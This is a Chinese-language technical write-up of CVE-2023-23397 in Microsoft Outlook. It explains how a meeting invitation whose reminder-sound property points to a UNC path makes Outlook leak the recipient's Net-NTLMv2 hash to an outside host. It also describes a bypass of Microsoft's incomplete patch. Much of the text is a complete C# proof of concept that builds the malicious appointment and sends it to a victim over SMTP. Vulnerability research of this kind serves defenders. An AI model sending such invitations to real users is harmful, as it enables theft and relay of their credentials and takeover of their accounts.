CVE-2023-23397 Outlook 权限提升漏洞分析

基本信息

Microsoft Outlook 存在权限提升漏洞,未经身份验证的远程攻击者可通过向受害者发送特制的带有UNC地址的电子邮件来利用此漏洞,当受害者所用的outlook处于打开状态时,outlook收到的会议提醒过期时会尝试连接攻击者指定的外部 UNC 位置。这会将受害者的Net-NTLMv2 hash泄露给攻击者,然后攻击者可以将其中继到另一个服务,进而获得该用户权限。

在微软发布的补丁中对该漏洞修复不完全,只限制了所用UNC路径中不能含有”.”,攻击者可以使用诸如\aaa\形式的UNC路径对其绕过。

给Exchange邮箱发送带有ReminderFileParameter属性并指向UNC路径,ReminderOverride设为true,ReminderSet设为true即可触发

影响版本

环境搭建

  • outlook 2016
  • windows 2019 + AD域

技术分析&调试

根据微软文档,Outlook会议可以设置PidLidReminderFileParameter和PidLidReminderOverride属性,其含义分别为:指定客户在该对象的提醒过期时应播放的声音的文件名和Outlook客户端是否应该保留PidLidReminderFileParameter属性的值。攻击者在发送给受害者的会议里面设置PidLidReminderFileParameter和PidLidReminderOverride属性,当会议过期时outlook会尝试解析PidLidReminderFileParameter属性并尝试播放PidLidReminderFileParameter指向的路径的声音文件(.wav),但outlook解析时并未限制PidLidReminderFileParameter属性指向的是本地文件还是网络文件。

即PidLidReminderFileParameter可以指向网络共享文件。攻击者将恶意会议邀请的PidLidReminderFileParameter属性设为攻击者控制的系统对应的UNC路径,并将PidLidReminderOverride属性设为true,将邀请发给受害者邮箱,当受害者在outlook上登录了邮箱时,outlook会自动获取该文件,当该路径参数为UNC路径时,outlook会以该用户身份向这个UNC路径对应的系统发起NTLM认证,尝试获取UNC路径指向的文件,此时攻击者可以获取到该认证hash,并将该hash中继到其他服务上,即可获取到受害者的权限。

该漏洞PoC先使用MsgKit库生成msg文件(outlook邮件格式),而后利用Aspose库读取msg文件并将其反序列化为MapiMessage对象,在其上添加ReminderSet并置为true,而后转换为MailMessage对象,通过smtpClient.Send发给受害者。从而触发漏洞,获取到受害者NTLM hash。 在微软2023年3月补丁日中对此漏洞进行了修复,但此漏洞修复不完全,只是限制了PidLidReminderFileParameter属性内不能含有”.”,导致攻击者可以使用\aaa\形式绕过此补丁。

PoC

using System;
using Aspose.Email.Mapi;
using Aspose.Email;
using Aspose.Email.Clients.Smtp;
namespace MsgKit
{
    class Program
    {
        static void Main(string[] args)
        {
            string lanPath = @"\\server\test\";
            string saveFilePath = @"saveFilePath";
            using (var appoionment = new Appointment(
                new Sender("winserver@domain.com", "Sender"),
                new Representing("winserver@domain.com", "Sender"),
                "pish"))
            {
                appoionment.Recipients.AddTo("administrator@domain.com", "administrator");
                appoionment.Subject = "pish";
                appoionment.Location = "Virtual";
                appoionment.MeetingStart = DateTime.Now.Date;
                appoionment.MeetingEnd = DateTime.Now.Date.AddHours(2).Date;
                appoionment.AllDay = true;
                appoionment.BodyText = "hello, world";
                appoionment.BodyHtml = "<html><head></head><body><b>hello, pls read it.</b></body></html>";
                appoionment.SentOn = DateTime.UtcNow;
                appoionment.Importance = MsgKit.Enums.MessageImportance.IMPORTANCE_NORMAL;
                appoionment.IconIndex = MsgKit.Enums.MessageIconIndex.UnsentMail;
                appoionment.PidLidReminderFileParameter = lanPath;
                appoionment.PidLidReminderOverride = false;
                appoionment.Save(saveFilePath);
            }

            var msg = MapiMessage.Load(saveFilePath);
            msg.SetProperty(KnownPropertyList.ReminderSet, true);
            msg.SetProperty(KnownPropertyList.ReminderFileParameter, lanPath + "\a");
            msg.SetProperty(KnownPropertyList.ReminderOverride, true);
            SmtpClient smtpClient = new SmtpClient();
            smtpClient.Host = "Host";
            smtpClient.Username = "username";
            smtpClient.Password = "Password";
            smtpClient.Port = 587;
            smtpClient.SecurityOptions = Aspose.Email.Clients.SecurityOptions.SSLExplicit;

            try
            {
                var options = new MailConversionOptions();
                options.KeepOriginalEmailAddresses = true;
                options.ConvertAsTnef = true;
                options.PreserveEmbeddedMessageFormat = true;
                options.PreserveRtfContent = true;
                smtpClient.Send(msg.ToMailMessage(options));
                Console.WriteLine("success send");
            }
            catch (Exception ex)
            {
                Console.WriteLine("error:" + ex.ToString());
            }
        }
    }
}

小结

该漏洞是典型的逻辑漏洞,由于微软没有限制邮件的过期声音文件路径属性,导致可以设置这个属性为UNC路径来让outlook发起NTLM请求,尝试从网络加载文件,从而偷取NTLM hash。

第一次尝试使用outlook构造PoC时失败了,最后找到了C#的邮件库Aspose,通过修改Aspose库并利用该库就可以设置PidLidReminderFileParameter属性了。

参考链接

https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/

https://github.com/Sicos1977/MsgKit

https://research.checkpoint.com/2023/the-obvious-the-normal-and-the-advanced-a-comprehensive-analysis-of-outlook-attack-vectors/

Created at 2023-05-05T20:50:19+08:00

创建于:Friday, May 5,2023
最后修改于: Friday, December 29,2023